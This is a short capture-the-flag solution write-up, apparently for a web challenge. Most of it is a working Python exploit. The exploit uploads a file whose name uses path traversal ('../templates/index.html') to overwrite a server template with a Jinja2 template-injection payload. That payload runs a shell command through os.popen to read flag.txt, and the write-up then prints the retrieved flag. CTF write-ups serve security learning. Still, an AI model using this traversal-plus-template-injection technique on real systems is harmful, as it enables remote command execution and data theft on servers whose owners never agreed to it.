## Solution

#### Install pip for python

```bash
sudo apt install python3-pip
```

#### Install requests for the exploit

```bash
python3 -m pip install requests
```

#### Exploit

```python
from requests import post, get

filename = '../templates/index.html' # the index.html template path to overwrite

payload = b'{{ cycler.__init__.__globals__.os.popen(\'cat /usr/src/app/flag.txt\').read() }}' # https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
files = {'file': (filename, payload, 'text/html')}

url = 'http://172.20.0.3/'
endpoint = '/api/v1/upload/resume'

response = post(url + endpoint, files = files)

response = get(url)
print(f'Flag: {response.text}')
```

#### Flag

```bash
└─$ python3 exploit.py 
```

```
Flag: TCC{34$Y_USE_SECURE_FILENAME}
```
